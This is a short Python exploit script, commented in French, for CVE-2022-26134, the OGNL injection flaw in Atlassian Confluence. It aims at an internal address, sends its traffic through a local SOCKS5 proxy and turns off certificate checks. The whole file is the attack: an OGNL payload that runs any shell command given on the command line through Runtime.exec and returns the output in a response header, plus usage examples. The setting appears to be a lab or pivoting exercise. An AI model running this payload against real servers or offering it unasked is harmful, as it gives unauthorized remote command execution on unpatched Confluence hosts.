import requests
import sys
import urllib.parse
import urllib3
# Désactive les avertissements SSL (utile si jamais la cible passe en HTTPS)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# --- CONFIGURATION ---
TARGET = "http://192.168.2.20:8090"
# Utilisation de socks5h pour résoudre les DNS via le proxy si besoin, sinon socks5 suffit pour les IPs
PROXIES = {
"http": "socks5://127.0.0.1:1080",
"https": "socks5://127.0.0.1:1080"
}
def send_command(cmd):
print(f"[*] Envoi de la commande : {cmd}")
# --- CONSTRUCTION DU PAYLOAD (CVE-2022-26134) ---
# Note : On utilise des f-strings. Attention aux guillemets échappés (\") pour le code Java.
# La structure est : .exec("TA_COMMANDE")
payload = f"${{(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"{cmd}\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}}"
# Encodage URL du payload (essentiel pour que le serveur le traite)
encoded_payload = urllib.parse.quote(payload)
# Construction de l'URL finale
full_url = f"{TARGET}/{encoded_payload}/"
try:
# allow_redirects=False est VITAL car le résultat est dans le header de la redirection 302
r = requests.get(
full_url,
proxies=PROXIES,
allow_redirects=False,
verify=False,
timeout=10
)
# --- ANALYSE DU RÉSULTAT ---
if "X-Cmd-Response" in r.headers:
print(f"\n[+] SUCCÈS ! Résultat :\n{'-'*40}")
print(r.headers["X-Cmd-Response"])
print(f"{'-'*40}\n")
else:
print("[-] Pas de header 'X-Cmd-Response'.")
print(f" Code HTTP reçu : {r.status_code}")
print(" La commande a peut-être échoué ou ne renvoie rien (ex: ping).")
except Exception as e:
print(f"[!] Erreur de connexion : {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <commande>")
print(f"Exemple: python3 {sys.argv[0]} 'id'")
print(f"Exemple: python3 {sys.argv[0]} 'ls -la'")
else:
# Rejoint tous les arguments pour gérer les espaces (ex: ls -la /tmp)
command = " ".join(sys.argv[1:])
send_command(command)